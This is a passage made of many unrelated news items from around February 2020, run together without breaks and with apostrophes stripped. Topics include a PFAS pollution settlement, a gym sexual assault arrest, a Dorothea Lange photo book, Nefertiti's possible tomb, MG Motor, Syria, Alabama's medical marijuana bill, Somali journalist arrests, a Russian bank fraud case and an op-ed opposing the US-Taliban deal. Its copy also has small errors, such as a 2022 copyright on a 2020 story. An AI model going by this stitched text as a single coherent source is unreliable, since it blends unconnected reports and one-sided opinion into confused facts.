alleging their property values and health were harmed by the pollution. A trial is scheduled to begin in the first of those cases on March 2. In a press release, Wolverine said it believes the deal to extend municipal water will have a significant and beneficial impact on the resolution of these lawsuits. Aaron Phelps, a Varnum Law firm attorney in Grand Rapids who represents the family of Seth and Tobyn McNaughton, among others, said he suspected a deal was brewing between the two companies a couple months based on their court filings. Its been obvious for a while they reached a deal. They started to play nice with each other and jointly file things, said Phelps. Van Essen said the negotiated settlement with the state and local townships may not be the final word on Wolverines liability for PFAS contamination around the Belmont area. In addition to the individual private suits, there are class action cases waiting in the wings. There is also a case pending with the Boulder Creek Golf Course, which is built atop an old gravel mine that Wolverine used throughout the 1970s as a dump site. The Michigan Department of Environment, Great Lakes and Energy (EGLE) is studying contamination around Boulder Creek and has blamed course owners for spreading PFAS to drinking water sources it might not have otherwise reached by using contaminated ponds for irrigation. Wolverine also dumped tannery waste at the North Kent Landfill in the 1980s, which Van Essen said opens the company up to potential claims from Kent County, which owns the landfill. Neither dump site is addressed under the settlement approved by Judge Neff. 3M is also a defendant in a lawsuit against 17 chemical manufacturers filed by Michigan Attorney General Dana Nessel in January. The consent decree is a major step forward, but theres more work to be done, Van Essen said. Related links Polluted golf course irrigation blamed for PFAS in drinking water Judge denies familys request to expedite Wolverine PFAS trial Major Michigan PFAS polluter named 'Business of the Year Jonathan Anderson, 33, walked into a gym in Fremont, California during an exercise class when he allegedly pushed a woman to the floor before pulling off her clothes A 33-year-old man from California has been arrested after allegedly sexually assaulting a woman at a gym. Jonathan Anderson walked into the Fremont 24 Hour Fitness gym in Fremont near San Francisco where an exercise class was taking place. The Fremont Police Department say that Anderson 'entered the class' without warning and walked up to a woman who was doing push-ups. The 6ft 1in man who weighs 255lbs is alleged to have pushed the woman to the floor before attempting to sexually assault her and pulling off her clothes. There were a number of other people working out in the gym at the time of the alleged attack. One of them pulled Anderson off his victim and stood in between them to prevent any further assault from occurring. Workers at the gym then blocked the man from leaving and held onto him until police arrived. Anderson was arrested on charges of felony sexual battery and assault and is currently in custody. He was found to be on probation as a result of two separate prior convictions. Gym staff blocked Anderson's escape from the 24 Hour Fitness gym in Fremont, pictured, to ensure police could take him away. He is later believed to have made a full confession Police say that Anderson confessed to the assault 'in detail'. 'The Fremont Police Department wishes to thank the Good Samaritan for intervening in the attack,' Lieutenant Michael Tegner said in a statement. 'Their quick action stopped this horrendous assault and aided in the suspect's quick arrest. It took bravery and courage to intervene.' Police believe that this was not the first assault Anderson may have committed and are hoping more people may come forward upon recognizing the suspect's photograph. Anyone with relevant information is asked to call the police department's investigative unit at 510-790-6954. Dorothea Langes photographs of the Great Depression and Dust Bowl migrants made her one of the most celebrated photojournalists of the 20th century. But her famous Migrant Mother and other images made for the federal Farm Security Administration represent only a fraction of the staggering amount of work she produced across her life, says photographer and artist Sam Contis. To coincide with the show Dorothea Lange: Words & Pictures, now on view at New York Citys Museum of Modern Art, Contis has published Day Sleeper, a book of images many of them never before published that is the result of Contis spending two years poring over the personal archive Lange left upon her death in 1965. Juxtaposing intimate family portraits and Langes observations of everyday life, Day Sleeper challenges the prevailing view of the master photographer. The book also reveals the connection Contis felt to Langes desire to really understand photography and its limits. Lange's son, Dan Dixon, age 5, 1930, on the cover of 'Day Sleeper, Dorothea Lange-Sam Contis'. | Courtesy of MACK The books title comes from a photo Lange made of a sign hanging on a trailer where shipyard workers could nap between shifts. It also refers to the many photos of sleeping figures that Contis found in Langes archive. One shows Langes son napping with a cloth shading his eyes. When photographing people with their eyes closed, Contis observes, Were cut off from that interior world, but its the time that we can look most freely at someone else. About including these contemplative images in the book, Contis says, Starting from this very personal and interior place was important to rethinking who she was as an artist. Unlike Walker Evans, a fellow Farm Security Administration photographer who was recognized as an artist in his lifetime, Lange saw her artistic explorations overshadowed by her famous images of social issues. She didnt become a different photographer depending on whether she was working for the government or making a photo on her own. The same impulses were there in both places, Contis argues. Story continues Manzanar Relocation Center, Manzanar, Calif. Making camouflage nets for the War Department. In 1942, Lange was commissioned to photograph the U.S. Government's imprisonment of Japanese Americans. Her negatives were impounded by the Army; she did not see them until 1964. | Dorothea LangeNational Archives/courtesy of MACK Contis, who received an MFA degree from Yale in 2008, says she was familiar only with Dorothea the icon until 2017. Thats when she first visited the Oakland Museum of California, which houses Langes personal collection of contact sheets, notes and interview recordings. Stunned by the quantity of images, Contis also felt a strange kinship between her work and Langes. Contis first book, published in 2017, was a collection of images she made at Deep Springs College, the all-male institution in Californias Sierra Nevada mountains. Exploring ideas about masculinity and the relationship between the landscape and the body, Contis made tight closeups of the young mens torsos and their hands as they performed ranch work. In Langes contact sheets, Contis was startled to find similar studies of hands and fragments of bodies. One photo of a woman waiting on a sidewalk shows only her legs and feet planted in a balletic pose. Its almost nothing, Contis says of the photo, but the way Dorothea has framed it, theres something so mesmerizing about it. After a childhood bout of polio, Lange walked with a limp, and was fascinated by how bodies move through space, Contis says. Untitled, from the book 'Day Sleeper, Dorothea Lange-Sam Contis'. | Dorothea Langecourtesy of MACK Untitled, from the book 'Day Sleeper, Dorothea Lange-Sam Contis'. | Dorothea Langecourtesy of MACK Contis believes editing and sequencing photos is as essential to her creativity as taking pictures. She loves a quote Lange gave an interviewer near the end of her life: I want to think about how photography can create a language through sequencing and pairings. Langes openness to cropping and reprinting her photos to reveal new meanings emboldened Contis as she considered ways to use the archival materials. In 2018, Contis work was chosen for the biennial New Photography survey at the Museum of Modern Art. There she met curator Sarah Meister, who was planning the new Lange exhibition. Meister invited Contis and other artists to interpret Langes work. Contis reprinted three archival Lange images for the show, but also told Meister, Actually, I want to make a book. Untitled, from the book 'Day Sleeper, Dorothea Lange-Sam Contis'. | Dorothea Langecourtesy of MACK With Meisters blessing, Contis immersed herself in the Oakland archive. She covered the walls of her studios with printouts of every Lange photo she loved: I lived in Dorotheas world for a while. Gradually, she focused on work Lange made in California. She wove together motifs Lange had photographed, mixing in some unpublished images from Langes government assignments, which are now in the Library of Congress and the National Archives. She ignored chronology and sometimes omitted captions to unmoor them from their original context and emphasize the visual echoes in different photos. She asked graphic designer Julian Bittiner, an old friend, to give the book a fresh and contemporary look and small format, like a notebook or journal. Working on Day Sleeper, Contis fell in lovehead over heels, she sayswith Lange. She has now returned to making her own photographs, but Lange remains on her mind. She wanted to photograph every day, every hour of the day, Contis recalls. That dedication and love of the medium I think Ill always carry that with me. Its such a powerful idea and sensation. Imperial Valley, CA, 1935 | Dorothea Langecourtesy of MACK Imperial Valley, Calif., 1939 | Dorothea LangeLibrary of Congress Untitled, from the book 'Day Sleeper, Dorothea Lange-Sam Contis'. | Dorothea Langecourtesy of MACK (Newser) Scientists in Egypt are bound and determined to find the long-lost Queen Nefertiti. Now, a new team is floating the possibility that she is buried in a secret chamber within King Tut's tomb, reports Nature. Sound familiar? That's because the intriguing possibility was first raised in 2015, only to be seemingly put to rest by a thorough radar scan in 2018. The new twist comes from a team led by former Egyptian minister of antiquities, Mamdouh Eldmaty. Using ground-penetrating radar of their own, he and his researchers scanned the area around Tut's burial spot and detected what they say is a previously unknown chamber, which Business Insider describes as 7 feet high and 33 feet long. Their report has not been formally published, but Nature obtained details that were sent to Egypt's Supreme Council of Antiquities. story continues below So what now? The council will presumably decide whether to move forward with a more thorough investigation. "Clearly there is something on the other side of the north wall of the burial chamber," Egyptologist Ray Johnson of the University of Chicago tells Nature. Johnson, who was not involved with the new study, called the results "tremendously exciting." The story, though, is also tempered with a not-so-fast sentiment from skeptics. Nefertiti, whose daughter married Tut, was an Egyptian queen, though some historians think she also ruled as a pharaoh herself for a spell before her death. Artnet News, perhaps excited by the idea of what the burial place may hold, is highlighting this quote: If Nefertiti was buried as a pharaoh, it could be the biggest archaeological discovery ever, says British archaeologist Nicholas Reeves, whose team was behind the 2015 study. (Read more Nefertiti stories.) Hopes to launch full-size SUV MG Gloster by Diwali 2020, and have four products in the market in one-and-a-half years of its operations in India. In the backdrop of the growing demand for its cars in the country and to manufacture newer models, MG Motor is planning to ramp its capacity and set up a second facility in India. The future launches including a possible affordable electric car for the Indian market. The brand is planning to make its full-size SUV MG Gloster available in the market by Diwali 2020. The vehicle is likely to be in the Rs 40-50 lakh proce bracket. The company will have four products in the market in one-and-a-half years of its operations in India. It is planning another SUV as the fifth product in 2021 and would require a new plant to cater to the market after that. MG Motor's Halol plant in Gujarat, previously owned by General Motors India Pvt Ltd, can produce around 80,000-100,000 units. The company ramped up production from 3,000 Hector vehicles a month to 3,500 and now looking to expand to 4,000 per month, said Gaurav Gupta, chief commercial officer, MG Motor India. The waiting period for the Hector, the company's first model in India, has come down to 3-4 months from six earlier. The production ramp up is likely to bring it down further. On the impact of the coronavirus, Gupta said production in the month of February has been affected and the company isn't able to ramp up production as planned. If supplies don't open up, then production in March will be impact as well, said Gupta, without disclosing the extent. MG Motor's first model in India, the Hector, has already crossed 50,000 units. The company claims it is Indias first internet car and that it has emerged as the segment leader in the C-SUV segment with nearly 20,000 units sold since its launch in India last year. The proposed second plant, which can even come up in South India, will have a higher capacity than the one at Halol, as the company is looking at launching new products, including electric vehicles and batteries, Gupta said. He did not disclose investments numbers for the proposed facility. MG Motor had committed about Rs 5,000 crore for Halol and so far invested around Rs 2,000 crore. The rest will be invested in the coming months. MG has showcased a sedan, a hatchback, and MPVs, so the future line up can be from these segments, said Gupta. "We are excited about electric vehicles, as the EV revolution in India is likely to happen faster than what we expected," he added. The company has launched ZS EV, touted to be first electric internet SUV in India. While the product is in the Completely Knocked Down (CKD) format, going forward MG Motor is planning to manufacture it in India, at earmark a part of the plant for battery manufacturing. MG expects greater policy support to make electric vehicles in India and set up charging infrastructure. Today, according to Gupta, Fame-II supports more commercial usage of electric vehicles. MG continues to build on this momentum by opening brand outlets closer to prospective customers in tier-I and II cities. The firm plans to expand its footprint to 300 such cities this year from 200 currently. Photograph: Courtesy, MG Motor She recently enjoyed a romantic Valentine's Day trip to Mexico with boyfriend Christian McCaffrey. And Olivia Culpo looked effortlessly chic as she stepped out during Milan Fashion Week on Thursday night. The model, 27, showed off her toned figure in a pair of navy velvet high-waisted skinny-fit trousers with black mule heels. Effortlessly chic: Olivia Culpo looked effortlessly chic as she stepped out during Milan Fashion Week on Thursday night Olivia teamed the item of clothing with a dramatic blue ruffled silk shirt with oversized sleeves. The actress styled her brunette locks into a sleek blow-dried hairdo which she sweptback and added a slick of glamorous make-up. Olivia used the pavement as her catwalk as she she posed up a storm in her chic ensemble. Working it: The model, 27, showed off her toned figure in a pair of navy velvet high-waisted skinny-fit trousers with black mule heels Details: Olivia teamed the item of clothing with a dramatic blue ruffled silk shirt with oversized sleeves The star's appearance comes after she recently took a romantic Valentine's Day trip to Mexico with boyfriend Christian McCaffrey. Olivia jetted straight from their romantic getaway to Milan, Italy, for Fashion Week and took a private jet complete with her gifted teddy bear. The 27-year-old took to Instagram with photos from the plane, which she captioned: 'Snug life.' PDA alert: The star's appearance comes after she recently took a romantic Valentine's Day trip to Mexico with boyfriend Christian McCaffrey She donned a sexy little black satin dress as she cuddled up to one bear, while another that was about as tall as her was buckled up in the other seat. Olivia also took to her story with a comical video of herself stepping off the plane, her hands full with both bears. Milan Fashion Week kicked off on Tuesday and will run until Monday 24 February. British warplanes should be used to protect a Syrian city facing what the UN has called a 'massacre on a scale that has never been seen', a senior Tory said last night. Tobias Ellwood, chairman of the Commons defence committee, said the UK should help stop Idlib turning into a 'bloodbath'. The former defence minister called for a multi-national force including Britain to impose a no-fly zone to stop Syrian military helicopters dropping barrel bombs on civilians. Tobias Ellwood (pictured), chairman of the Commons defence committee, said the UK should help stop Idlib turning into a 'bloodbath' In excoriating comments, he deplored Britain's inaction over the remaining rebel stronghold which has seen nearly a million people forced from their homes. He said: 'A bloodbath is about to unfold. I'm ashamed to see how cowardly the West's become.' He added: 'We need to act soon. The time for talking has now stopped. We need to ask if we are going to allow a dictator to bomb his own people?' Backed by Russia, the Syrian government has been closing in on the last bastion of armed opposition following nine years of civil war. The UN said about 170,000 of the civilians forced from their homes in north-western Syria are living in the open, with temperatures falling below zero at night. Pictured: Turkey-Syria border wall which hosts nearly two million displaced Syrians UN Deputy Regional Humanitarian Coordinator for Syria, Mark Cutts, told Sky News: 'If the shelling and airstrikes move any further we're going to see a bloodbath. 'We're going to see a massacre on a scale that has never been seen in this entire war.' The UN said about 170,000 of the civilians forced from their homes in north-western Syria are living in the open, with temperatures falling below zero at night. EDWARDSVILLE Reimbursement for 911 dispatch centers and the purchase of new suppressed rifles for the sheriffs department were among public safety-related issues acted on by the Madison County Board Wednesday. The board approved paying $706,951 in reimbursements by Madison County 911 to local 911 dispatch centers. This is the second payment that would be made under a program begun last year as part of the consolidation of the countys 911 system. Also approved without comment was the purchase of 90 new AR-style rifles for the sheriffs department, including suppressors, a new feature for the departments weapons. The purchase from Florida-based Federal Eastern International LLC, for $131,780.30 generated some controversy after Thomas Magg, a local lawyer who also has a firearms-related business, said the it would violate state law. The rifles S.W.O.R.D. International MK-15 rifles with Bantam II suppressors are short-barreled AR-style rifles. Both short-barreled rifles and suppressors are regulated under the National Firearms Act of 1934 and are generally prohibited in Illinois. They are often referred to as NFA firearms. At a Madison County Public Safety Committee meeting last week, sheriffs department officials said the suppressors were added because of concerns over possible hearing damage to officers or civilians during an active shooter incident inside a building. They noted there is an exception in Illinois law regarding NFA firearms for law enforcement. In a Feb. 12 letter to Madison County Sheriff John Lakin and Madison County Board Chairman Kurt Prenzler, Maag said the states prohibition against suppressors included most police officers. He said the only exceptions were for manufacturers and SWAT teams. The Illinois Revised Statutes state the ban on suppressors does not apply to a peace officer while serving as a member of a tactical response team or special operations team. Those officers may not own the device; it must be owned and issued by the law enforcement agency. At the Wednesdays county board meeting, Madison County Sheriffs Office Capt. Eric Decker said the department met that standard because all have received training as part of a tactical response team and been issued tactical response equipment such as body armor and ballistic helmets. Decker and Madison County States Attorney Tom Gibbons said it was up to the sheriffs department to determine who was eligible. Officers will have to qualify with the weapons before they will be issued. More Information The Madison County Board on Wednesday approved spending $131,780 to buy 90 AR-style rifles and suppressors for the sheriff's department. See More Collapse The board also approves several other public safety or judiciary-related items, including: Reallocating pet population grants from SNIP Alliance, which recently announced it was disbanding, to Metro East Humane Society and Partners for Pets. Each group will receive $7,500. Installating new and current equipment on 19 new 2020 vehicles for the sheriffs department. Wireless USA of Collinsville, the only authorized service center for some of the equipment, will perform the work for $42,300. Contracts for medical care at the Madison County Jail with Advanced Correctional Healthcare Inc., a Peoria-based company. One contract for $415,86.80 covers the current year; a second contract adds approximately $49,000 to last years contract because of unforeseen expenses. The board also approved appointing Anthony Falconio as director of Madison County Emergency Management Agency. Falconio has served as interim director since Todd Fulton left in June. Other appointments included: Dan Gonzalez, to fill the unexpired term of Thomas Voloski on the Emergency Telephone System Board; the reappointment of Dorothy Droste to the Madison County Health Advisory Committee; the reappointment of Nicholas Cohen and Tyrone Q. Echols to the Zoning Board of Appeals; Mallard Hubbard to the IllinoisSouth Tourism Administration Board; and Andrew Carruthers to the Southwestern Illinois Development Authority. Reach reporter Scott Cousins at 618-208-6447. A medical marijuana bill cleared its first hurdle Wednesday in the Alabama Legislature, giving hope to advocates after years of setbacks. Audience members applauded as the Senate Judiciary Committee voted 8-1 for the bill, putting it in line for a Senate floor vote later this session. The bill sponsored by Republican Sen. Tim Melson would allow people with a doctors recommendation to use medical marijuana for 15 conditions _ including cancer, anxiety and chronic pain _ and purchase cannabis products at one of 34 licensed dispensaries. The bill would allow marijuana in forms such as pills, gummy cubes, oils, skin patches, gels and creams but not in smoking or vaping products. Advocates crowded into a public hearing at the Alabama Statehouse to watch the debate and tell lawmakers their stories. This bill is not about getting high. This bill is about getting well, said Dr. Alan Shackelford, a Colorado doctor who described the success of using medical marijuana on people with seizures and cancer. Cristi Cain said her son Hardys debilitating seizures have been helped by CBD oil, now legal in Alabama, but said the higher doses that could help him more arent legal in the state. Hardy had as many as 100 seizures per day before trying the oil, and now has about 20 to 30, she said An area code shouldnt affect one healths care. If Hardy didnt live in Alabama, he could be seizure-free. We shouldnt have to be and dont want to be medical refugees, Cain said. Another woman described how patches used in another state were the only thing that relieved her husbands leg pain from Parkinsons The bill drew opposition from some law enforcement and conservative groups. They expressed concern about dosing, safety and the potential for abuse. Just because we put the word medical in front of marijuana does not make it medicine, Shelby County Sheriffs Capt. Clay Hammac said. The Rev. Rick Hagans described addicts he buried. He said that although they obviously didnt overdose on marijuana, they started their drug use with pot. Alabama Attorney General Steve Marshall sent lawmakers a letter expressing his opposition that noted marijuana remains illegal under federal law. The vote was a moment of optimism for medical marijuana advocates who for years made little headway in the conservative-leaning state. A medical marijuana bill in 2013 won the so-called Shroud Award for the deadest bill that year in the House of Representatives. Melson said he is hopeful about the bills chances in 2020. He said there are multiple steps in the process of obtaining medical marijuana that should limit the danger of abuse. You are going to have to go to a physician. You are going to have to get a card. You are going to be on the (state) register, Melson said. He defended the bills allowance of marijuana for a variety of conditions. Im sure some people look at that 15 (conditions) and go, Yeah, really, that one? Thats because they dont have it or dont know the literature, he said. Sen. Larry Stutts, an obstetrician who cast the lone no vote on the committee, said state medical marijuana laws circumvent the process of drug trials usually required to introduce a new medicine Stutts said other medications have been through the process and been through the trials that study its effectiveness and side effects before patients get them. Before the vote, Sen. Cam Ward described his late fathers battle with cancer. I would have given anything, anything, had he had a tablet to take, something to chew on, some drops to put in his food to avoid the nauseousness from the chemotherapy. That would have changed his life. As a human being, who am I to say you cant have that to make you feel better? Ward said. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Cannabis Alabama Politics 21.02.2020 LISTEN MOGADISHU, Somalia, 20 February 2020 Somali Journalists Syndicate (SJS) condemns the arbitrary arrests against four journalists in the towns of Galkayo and Bulo-Burte on Wednesday 19 February and Thursday 20 February respectively. Radio Hiiraan-Weyn reporter, Mumin Muhumed Biyow was at 10.00 a.m local time on Wednesday morning taken into custody by Somali National Army (SNA) in the town of Bulo-Burte in Hiiraan region as he was going to interview local traditional elders who opposed the controversial appointment of a new district commissioner, Feysal Hajir Adan. The journalists equipment including mobile phone, camera and voice recorders were confiscated, according to colleagues who spoke to SJS. He was released on Wednesday night without charge. Our reporter Mumin Muhumed was on his way to meet an interview the elders when the military officers led by Captain Abdulkadir Ali Nur from the 27th Division of the 41st Brigades 5th Company, of SNA arrested him. He was detained at the military camp until 8.30 p.m when he was released, director of Radio Hiiraan-Weyn, Mohamed Osman Makaran who told SJS that the journalists equipment were returned. In a separate incident, Puntland authorities in Galkayo arrested three journalists: Kasmaal Media editor, Said Abdullahi Kulmiye (known as Said Nadara); SBC TV reporter, Abdiwali Jama Agarane and the director of Radio Voice of Peace (Codka Nabadda) Ahmed Mohamed Ali. The three were covering a protest by the local business community complaining against taxes hike and subsequently led to the closure of businesses in Galkayo on Thursday. According to Said Nadara, the police confiscated their journalistic equipment and started punching and beating with their guns before arresting the three journalists. The police officers were accompanied by the accountant of Puntlands Ministry of Finance, Ismail Nur Gesey who, according to the journalists ordered the arrest and physical harassment against the journalists. They [police] together with the accountant of the Ministry of Finance, Mr Ismail Gesey punched us and beat us with their guns. Mr. Gesey further threatened that he will harm us if we report the news of the protest, journalist Said Nadara told SJS. The three journalists were released after intervention from Governor of Mudug, Mr. Ahmed Muse Nur. There were no charges brought so far against the trio. We condemn the unlawful detentions and intimidations meant to stop journalists from covering certain issues of public interest. These actions are violations against the right to freedom of information, Abdalle Ahmed Mumin, Secretary General of the Somali Journalists Syndicate (SJS) said, We call for the regional and the federal authorities to investigate the matter and bring those responsible to justice. Independent reporting is the only way to flourish a democratic and healthy society and attacking, arresting and intimidating journalists might constitute rights violation and therefore officials responsible for these violations should never get away with it. Mumin added. (END) The government is contemplating to restrict export of certain essential drugs over fears that there could be a shortage in India due to coronavirus outbreak in China. The move has been opposed by the pharmaceutical industry that has claimed that possess inventories of over two months at hand. In this edition of Reporter's Take, Moneycontrol's Shraddha Sharma gets in conversation with Viswanath Pilla to find out more about the proposed ban on export of certain drugs. Tatfondbank seeks to recover $2.3 bln from its ex-chair Musin TASS, Yegor Aleyev 11:18 21/02/2020 MOSCOW, February 21 (RAPSI) PAO Tatfondbank has filed a petition to put a 141.3 billion rubles (about $2.3 billion) debt on the list of creditors claims to its ex-chairman Robert Musin, a determination of the Tatarstan Commercial Court reads. The court is to examine the petition on March 18. This February, the same court ordered the seizure of assets held by Musin and ten other former managers of the bank totaling 96.7 billion rubles (about $1.5 billion). The court ruling also prohibited the Federal Service for State Registration, Cadastre and Cartography (FSSRCC) to register transfers of ownership of several premises and land plots belonging to defendants. Petition filed by Russias State Corporation Deposit Insurance Agency (DIA) to introduce interim relief was satisfied in part: the agency demanded to seize in total assets worth 141.39 billion rubles (about $2.3 billion). In substantiation of the claim, DIA cited the facts evidencing that the persons in control over the bank committed actions aimed to defraud it of its assets, in particular, to form simulated debts, replace valuable assets with unrealizable ones; purchased non-marketable securities; transferred liquid assets in trust of an affiliated organization and made other dubious deals. Besides, the persons in control of the bank failed to undertake measures aimed to prevent Tatfondbank bankruptcy, the DIA statement reads. As a result, the financial standing of the bank has been seriously undermined, what was the reason, the claimant believes, of the situation where it could not meet the demands of its creditors. Earlier, the Tatarstan Commercial Court has extended the procedure of sale of property of Musin for six months. On July 18, 2018, the court granted a motion of Tatfondbank and declared Musin bankrupt. Before that, the court initiated a procedure of restructuring Musins debt. The DIA sought 16.7 million rubles ($255,000) from the banker. Notably, Musin is charged with embezzlement. According to investigators, in August 2016, employees of the bank provided false data to the Central Bank of Russia to obtain a credit and subsequently embezzle the funds. Later, the money was transferred to the accounts of affiliated companies. Investigators believe that overall damage in criminal cases against Musin reaches 50 billion rubles (about $765.6 million). Thirteen cases over abuse of office opened against Musin are allegedly connected with embezzlement of 18 billion rubles ($275.6 million) belonging to Tatfondbank. Criminal prosecution In July, the Investigative Committee reported that Musin would stand trial on charges of abuse of office. According to investigators, in December 2016, Musin siphoned liquid collateral security amounting to more than 20 billion rubles ($315 million) prior to the appointment of temporary administration in the troubled bank. Thus, he caused damage in the form of credit outstandings worth over 7 billion rubles to Tatfondbank, the statement reads. Over 19 billion rubles have not been returned, investigators claim. There are 517 volumes in the case against Musin. Moreover, investigators believe that the defendant was involved in other crimes. The total damage caused by Musins actions is estimated at more than 53 billion rubles (nearly $835 million), according to the Investigative Committee. A court has seized his assets worth more than 4.2 billion rubles. A man has died after being found in a street in north west London with a neck injury. Police were called by London Ambulance Service just before 7am on Friday after a man was found lying on Anson Road, Cricklewood. The man, believed to be in his 40s, was pronounced dead at the scene about 45 minutes later. Police say there have been no arrests and officers are keeping an "open mind concerning motive". Police were still at the scene by 2pm on Friday / David Nathan One witness said around 2pm the road was still cordoned off and there were "many police" still at the scene. He said it looked as though some of the shops in the area had also been corodoned off. Forensic officers on Anson Road on Friday (David Nathan ) / David Nathan Anson Road at the junction of Cricklewood Broadway remained closed on Friday morning. Kim Kardashian West may be a world-famous reality star, but being a celebrity isnt her only passion in life. For the past year and a half, Kardashian has been working tirelessly on her prison reform efforts, and though she has made some significant impacts in the criminal justice system, she believes that there is a lot more that can still be done. Kim Kardashian West | David Livingston/Getty Images While her efforts take a lot of time and hard work, Kardashian loves what shes doing and recently shared what ultimately drives her passion for the law and justice reform. Kardashians main focus lately has been on criminal law The KKW mogul has been a busy woman lately. Not only has she been filming new episodes of Keeping Up with the Kardashian and taking care of her four young children, but the Skims founder has also been putting in some major work advocating for criminal justice and prison reform. Since 2018, Kardashian has been taking the necessary steps to secure freedom for American prisoners she believes have been wronged by the justice system. Though shes always had a passion for law, Kardashians interest surrounding criminal justice kicked into high gear once she heard about Alice Marie Johnson, a grandmother who was released from prison in 2018 after receiving a life sentence for a first-time, nonviolent drug offense. During a Feb. 11 interview with Laura Wasser on the brand new iHeart Radio podcast, Alls Fair, the reality star shared that once she and President Trump worked together to grant Johnson clemency, she knew that law was a career she needed to pursue. Great meeting with @KimKardashian today, talked about prison reform and sentencing. pic.twitter.com/uOy4UJ41JF Donald J. Trump (@realDonaldTrump) May 30, 2018 I was contacted by Van Jones to do an interview. Van and I started talking a little bit and he was like, You have a knack for this law thing, and I was like Well, Im obsessed, the KKW mogul recalled. When I was a kid, I would look through all my dads O.J. filings and crime scene photos, stuff I should not have been looking at. I was just always really into it. So Van connected me with his law firm #cut50 and was like we can do this, we can figure out how to go through law school in California, she continued. You could read the law and study 18 hours a week. And its no joke, its law school. She wants to see a change in the system for her childrens sake Since beginning her law school journey, Kardashian and Jones have worked closely on law policies and were able to get the FIRST ACT passed which allows newly released offenders to rejoin society and participate in recidivism reduction programs. Its been amazing. Its literally what I do all day long, Kardashian told Wasser. People are sending me cases and if I feel like I can help, I can. Though Kardashian continues to focus on her prison reform efforts, she believes that there is a lot more that needs to be done in the criminal justice system. One change she agrees that needs to happen soon is the overloading of minorities in the criminal justice system, mainly because members of her own family are part of the same community. Just to think that Im raising four black kids and two sons I want to see a different system for my kids and their friends and their kids, its really insane, Kardashian expressed. While this change definitely wont happen overnight, the reality star continues to work hard to rebuild the criminal justice system. Dr Martin Parsons is a former aid worker in Afghanistan and Pakistan and has a PhD in Islam and Christian-Muslim Relations. The US State Department has just announced that they are cautiously optimistic after the Taliban announced it will sign a peace deal with the US by the end of the month. Deal it may be, peace however, is likely to prove somewhat more elusive. To put it bluntly, peace is not the absence of fighting although apparently that is not even promised in this deal just a reduction in Taliban attacks, in return for US troop withdrawal. If peace were the absence of fighting then it would have justified Britain making peace with Nazi Germany in 1940. I have written before on Conservative Home about the parallels between the Nazis in the 1930s and threat today posed by radical Islamists in general and the Taliban in particular. But as someone who, as an aid worker, actually lived under the Taliban in Afghanistan, let me just highlight a few aspects of what life was like then. Women pretty well disappeared off the streets, not allowed out unless accompanied by a male guardian, a situation which led to thousands of war widows with no male relative, facing starvation. The religious police (officially the department for the suppression of vice and promotion of virtue) brutally enforced strict sharia on the streets. They were both feared and despised by ordinary Afghans in equal measure. Even after the Taliban were evicted from power, if someone thought to be a former member of the vice and virtue appeared in a public place everyone would go quiet. People were terrified that they would return. Men were beaten up on the streets with sticks and plastic hosepipes if they werent in the mosque at the time of prayer or even simply because their beard wasnt long enough. It was worse for anyone deemed to be an enemy of the regime. There were multiple public executions in cities such as Kabul. In other areas, opposition fighters were given the choice of fighting for the Taliban or walking through minefields as human minesweepers. Those suspected of leaving Islam were automatically executed. When the Taliban took over Jalalabad where I lived, they hanged an Afghan Christian in an outlying village. Someone with a grudge against him had tipped them off and a Bible was found in his house. Thats the sort of police state we can look forward to again if the Taliban ever regain power. The small Hindu minority, mainly shopkeepers, were forced to wear yellow badges, which drew parallels with the yellow Star of David which the Nazis forced on the Jews. In fact, even before the 9/11attacks the US Congress had unanimously passed a bipartisan resolution condemning such blatant human rights abuses. So, what has so dramatically changed that the US State Department now feel they can negotiate with the Taliban? True we have seen the rise of Islamic State, which in some respects, such as their reintroduction of slavery for non-Muslims, was even more radical than either the Taliban or al Qaeda. The danger here is one that western governments have too often fallen into, thinking they can negotiate with one extremist group, because another group is seen as even more radical. But its the same ideology with the same goals, just different methods. The question the US government urgently needs to ask, is what were its original war aims when it went into Afghanistan shortly after the 9/11 attacks? Those initial aims involved removing the Taliban from power and preventing Afghanistan becoming a base from which groups such as al Qaeda could launch attacks on the west. Have those aims been achieved? At best only partially. The Taliban no longer control the Kabul government, but still directly control around 74 of Afghanistans 398 districts, and are actively contesting a further 190, with the Afghan government only fully controlling 133 districts including Kabul. Will this new deal even deliver the second of those objectives preventing a group like al Qaeda establishing bases in Afghanistan from which to launch attacks on the west? According to a report issued by the UN Security Council last February al Qaeda and Islamic State are already well established in Afghanistan, a fact admitted later last year by the commander of US forces in Afghanistan. Far from either preventing the Taliban regaining power or a group like al Qaeda using the country as a base from which to launch attacks, the proposed US deal with the Taliban makes both of these more likely and thus lasting peace less likely. There are at least four fundamental flaws which have been evident since the very start of the US attempt to negotiate with the Taliban, a process begun under the Obama administration: It fails to understand Afghan culture. The Taliban are a primarily Pushtun group and the two central pillars of Pushtun culture known as Pushtunwali, are hospitality and blood vengeance. The latter involves the absolute duty placed on Pushtun men to kill a member of someone elses family when a member of their own extended family has been killed. However, and this is the crucial point, they do not have to do so immediately. Pushtuns will often wait 20 years for an opportune time to take blood vengeance. Waiting for the best time to kill your enemy is absolutely part and parcel of Pushtun culture. Sharia has been understood for centuries to prohibit a permanent peace treaty with non-Muslims. All that is allowed is a temporary truce to allow the Islamic armies to gain a strategic advantage. This is based on a peace treaty known as the treaty of Hudabiya which according to Islamic texts, Muhammad made with the pagan Quraish tribe who then controlled Mecca. Muhammad dispensed with the treaty two years later when he had become strong enough to take Mecca by force. Having a strong functioning government that is respected and seen as independent by its own people is an essential prerequisite for peace in any country. Without this basic building block of nation building, no county can be anything other than a failed state. Yet, far from strengthening the Afghan government, this proposed US deal with the Taliban massively undermines it in the eyes of the Afghan people. It is as if at the height of the troubles the US government had done a deal with the IRA and then expected the UK government, which hadnt even been a party to that deal, to implement it. No self-respecting government could possibly accept such humiliating terms. Although the full details of what this US Taliban deal are have yet to be published, it appears to involve US troop withdrawal in return for the Taliban not actually agreeing to end their attacks, but simply to decrease their number and to talk to the Afghan government. It all sounds rather reminiscent of Obamas Iran nuclear deal, which naively assumed that in exchange for the lifting of sanctions, Iran would start acting like a responsible state and stop formenting terrorism around the world. This proposed US-Taliban deal looks ominously similar, with a disturbing lack of any effective teeth, only this time the stakes are even higher. The US state department should be urgently asking itself what exactly it plans to do if in two or even five years time, al Qaeda, Islamic State, or whatever similar group has emerged to take their place, has set up training camps in Taliban controlled Afghanistan from which to launch attacks on the US and its western allies? The only real hope that exists for lasting peace in Afghanistan is to strengthen the Afghan government and its institutions, not undermine them. And as I have argued here before, do whatever is necessary to stop the Taliban regaining power. Then slowly seek to spread those values of freedom and respect for all, out from the capital 